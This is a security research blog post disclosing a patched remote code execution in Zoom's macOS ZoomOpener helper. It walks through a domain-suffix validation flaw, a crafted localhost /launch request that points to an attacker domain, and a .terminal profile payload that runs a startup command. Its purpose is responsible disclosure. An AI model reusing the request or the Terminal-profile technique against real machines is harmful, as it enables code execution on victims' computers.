Zoom Zero Day Followup: Getting the RCE

Jul 17, 2019

Last week, Jonathan Leitschuch wrote an excellent blog post covering the vulnerabilities within Zoom’s Mac client. Jonathan’s research was independent of ours, and since the vulnerabilities are now patched, we wanted to disclose a remote code execution with the same root cause, and share our story of coming across the initial privacy issue and escalating it into something much worse.

In March, the Assetnote team participated in a live hacking event in Singapore for a large Silicon Valley based target. They’re a Zoom customer, and as part of their vendor security efforts, had made Zoom privately in-scope for their bug bounty. As a distributed team, we also considered this a great opportunity to connect and collaborate as a team effort.

The team putting together the Zoom RCE (CVE-2019-13567)


Finding the Initial Vector

Sean Yeoh, our Engineering Lead, and our CTO Shubham Shah happened to be on the same flight to Singapore, and we had eight hours to kill before landing. As you might expect, our approach relies heavily on the reconnaissance of external attack surfaces, but due to the low-speed wifi network 30,000 ft up in the air, we found this a bit impractical. Eager to hack, we decided to look at Zoom’s desktop client on macOS.

One of the first things we noticed was a binary named ZoomOpener packaged with the Zoom macOS client. The binary registered a URL handler. zoomopener://, and ran a local webserver as a daemon on port 19421.

Curious about the purpose/functionality of the webserver, we loaded ZoomOpener in our disassembler and started poking around. Soon enough, we were able to find an endpoint called /launch, and after a bit of fuzzing discovered that this could potentially trigger a download and installation of a macOS installer package.

This sounds like the precursor to a Remote Code Execution bug, and we agreed it was worth investigating further. We spent the rest of the flight trying to build a proof of concept without much luck, discovering that this functionality was more complex than we originally thought.

Shubs and Sean were also finding difficulty in understanding the Objective-C the Zoom client is written in, so they left it until we were with the team to collaborate further on the proof of concept.

Fortunately, we were in good hands after landing. Michael Gianarakis, our CEO, has done a lot of research into iOS hacking and is very experienced with Objective-C.

The Logic Flaw

Michael started looking at the ZoomOpener binary the next day in our hotel room in Singapore. Diving into the decompilation we discovered that when the software update is triggered with the correct endpoint the function downloadZoomClientForDomain: in the ZMLauncherMgr class is called passing in the domain supplied to the launch endpoint on the local webserver.

This function first checks if a downloaded installer package is already on the user’s machine and if a package is there proceed to install it using the installPkg: function also in the ZMLauncherMgr class.

If no package is downloaded the function will trigger the download with the domain supplied as an argument to the launch endpoint. Before downloading the installer the function checks the supplied domain matches on of four hardcoded domains (zoom.us, zipow.com, zoomgov.com and zoom.com):

If the code doesn’t directly match these strings it executes this code:

This code block determines whether or not the domain parameter contains a value that has a suffix of any of the following values:

  • zoomgov.com
  • zoom.us
  • zoom.com
  • zipow.com

Once downloaded the package is installed using the installPkg: function in the ZMLauncherMgr class:

This code takes the downloaded package and passes it to the installer binary on macOS (/usr/sbin/installer) to install. There did not seem to be any integrity checks.

Putting this all together we determined we could get RCE in one of two ways:

  1. Through a subdomain takeover on any of the whitelisted domains (as suggested in Jonathan’s post)
  2. Launching an install using a domain such as “baddomain.com/.zoom.us” and serving a malicious installer package.

Ruby Nealon, Assetnote’s R&D Lead, looked briefly for subdomain takeovers with no luck while Michael validated the exploitability of the second option via hooking into the ZoomOpener process and calling the downloadZoomClientForDomain: with a domain pointing to some infrastructure Sean set up to serve the malicious files.

Triggering The Download

With the exploitability of the logic flaw confirmed we went to work on reliably triggering the download and pulling together a workable PoC. This involved figuring out some seemingly impenetrable JavaScript so we passed it on to Huey Peard, Assetnote’s front-end guru, and resident number runner.

Diving into the JavaScript we determined that the Zoom local server loads an image in an iframe and the dimensions of that image are mapped to a series of “status codes” that determine what actions get triggered in ZoomOpener.

Once Huey had figured this out, we tried to trigger the correct code for downloading and installing a new version. After a lot of time messing around with the Zoom install we determined that necessary pre-condition to trigger this state was to have Zoom uninstalled after being previously installed.

When Zoom is installed it creates a folder in the user’s home directory ~/.zoomus which leaves behind a copy of the vulnerable ZoomOpener even if Zoom is uninstalled. It’s worth noting that this has now been patched and this behaviour is no longer present.

With the necessary pre-conditions understood we can trigger the download from our server by issuing the following request to the ZoomOpener server:

http://localhost:19421/launch?action=launch&domain=assetnotehackszoom.com/attacker.zoom.us&usv=66916&uuid=-7839939700717828646&t=1553838149048

Setting Up The Download Server

There were a few more steps required to get ZoomOpener to download our payload. When analysing the downloadZoomClientForDomain: function Michael noticed that it called the getDownloadURL: method in the ZMClientHelper class.

This function takes in the domain passed to the launch endpoint and returns a string with the download path it expects from the server:

When you hit this URL with a valid domain it returns a bunch of information:

With this in mind Huey set up our server to respond accordingly when that path was hit:

Crafting the Payload

Now that our server was set up to serve our payload we needed to write the payload. Initially, we set out to create a macOS installer package with a pre-installation script that ran our code however we struggled to make this approach work for our PoC.

The pkg file would run as intended however unlike the regular functionality of ZoomOpener it would present the macOS installer GUI which a user would have to click through to get it to work. While feasible, this wasn’t ideal for an attack PoC. We wanted something more discrete and with the pressure of the competition, we focussed on other techniques.

After tinkering with command injection via the package filename Shubs suggested trying a technique he had used before on other bug bounties.

In the Terminal app on macOS, you can create a terminal profile (.terminal file) that allows you to specify a startup command. Using this technique you can run commands while bypassing any permission or code signing restrictions.

Shubs created the following .terminal profile and set the server to deliver it as the payload.

We triggered the download and…..success!

This technique had worked and we now had RCE but typically this technique works when passed to openURL: or openFile: and there weren’t any calls to those functions in the ZoomOpener functions we had anlaysed so far.

Revisiting the installPkg: function in more depth we noticed that it called the installComplete: function in the ZMLauncherMgr class regardless of the outcome of the installer command.

The installComplete: function was indeed passing the .terminal file to openFile:.

Michael confirmed this using Frida:

The Final PoC

With all the peices in place now we had a working PoC for RCE on macOS.

Since Jonathan publically disclosed this bug there have been several fixes that have been pushed from both Zoom and Apple to address this issue. None of these techniques work in the latest versions and we recommend you apply all the necessary patches to reduce your exposure.

We also recommend checking out this great guide by Karan Lyons which also covers the various white-label versions of Zoom’s macOS client which were also vulnerable.

We don’t usually focus on thick-client bugs at these events and while this was the only bug we ended up submitting the process of exploiting this vulnerability with the team of talented hackers at Assetnote was a highlight.